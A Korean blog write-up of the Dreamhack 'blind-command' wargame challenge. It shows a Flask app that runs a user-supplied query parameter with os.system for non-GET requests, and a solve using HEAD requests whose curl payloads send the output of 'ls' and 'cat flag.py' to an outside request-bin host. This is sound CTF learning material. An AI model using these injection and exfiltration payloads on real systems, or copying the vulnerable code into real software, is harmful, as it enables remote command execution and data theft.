Security/Write Up

[Dreamhack] blind-command

2er0127 2023. 8. 28. 14:06

문제 페이지에 접속하면 아무것도 없다..

 

 

URL에 os command injection 명령어를 입력해봤지만 문자열을 그대로 보여준다.

 

 

문제 파일

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

 

GET 메소드가 아닌 다른 메소드를 사용하여 cmd에 접근할 수 있는 것 같다.

 

 

 

 

 

먼저 사용할 수 있는 메소드 확인을 위해 Burp SuiteOPTIONS 메소드Repeater로 전송해봤다.

 

이 문제는 HEAD 메소드를 사용해서 풀어야 한다.

 

 

 

 

 

 

Dreamhack ToolsRequest Bin으로 서버를 빌려온다.

https://tools.dreamhack.games/main

 

dreamhack-tools

 

tools.dreamhack.games

 

 

 

 

curl 명령어의 -d 옵션을 사용하여 데이터를 Request Bin으로 가져왔다.

(-d(--data): request body에 데이터를 담을 때 사용)

 

 

공백은 +으로 이어준다.

HEAD /?cmd=curl+https://lqpthkh.request.dreamhack.games+-d+"$(ls)" HTTP/1.1

 

 

 

 

 

 

 

ls 명령어를 통해 확인해보니 플래그는 flag.py에 있을 것이라 생각된다.

HEAD /?cmd=curl+https://lqpthkh.request.dreamhack.games+-d+"$(cat+flag.py)" HTTP/1.1

 

 

728x90

'Security > Write Up' 카테고리의 다른 글

[Dreamhack] littlevsbig  (0) 2023.08.28
[Dreamhack] web-ssrf  (0) 2023.08.28
[Dreamhack] Flying Chars  (0) 2023.08.25
[Dreamhack] proxy-1  (0) 2023.08.21
[wargame.kr] login filtering  (0) 2023.08.21